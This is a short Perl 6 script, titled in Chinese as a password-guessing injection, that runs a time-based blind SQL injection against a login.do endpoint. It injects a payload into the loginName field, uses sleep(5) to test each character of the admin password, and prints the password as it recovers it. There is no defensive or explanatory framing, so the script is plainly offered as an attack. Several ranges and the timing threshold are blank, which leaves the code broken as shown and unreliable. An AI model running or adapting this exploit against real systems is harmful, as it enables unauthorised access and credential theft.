perl6 一个猜测密码的注入

use HTTP::UserAgent;

my $ua = HTTP::UserAgent.new;
my $r = HTTP::Request.new;
my $c = HTTP::Cookies.new;
$c.set-cookie('Set-Cookie:JSESSIONID=06617AD9F324C7D49D3218D800B8FBB6');
my $url = 'http://target/login.do';
$r.uri: $url;
$r.set-method: 'POST';
$r.add-cookies($c);

$r.header.field(:user-agent<Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/ Firefox/52.0>);
my %data = :loginName<inject>,:password<admin>,:vcode<vzhc>;

my @a = ..;
my @swap = 'a'..'z';
@a.append(@swap);
my @password;
for .. {
  for @a -> $char {
    %data<loginName>="admin' and (\'$char\'!=substr(password,$_,1) or 1=sleep(5)) and ''='";
    $r.add-form-data(%data);
    my $stime = time;
    my $result = $ua.request($r);
    my $endtime = time;
    my $finish_time = $endtime-$stime;
    if ($finish_time >= ) {
      say $char;
      @password.append($char);
      say 'password-> '~@password.join('');
      last;
    }
  }
}
say @password.join('');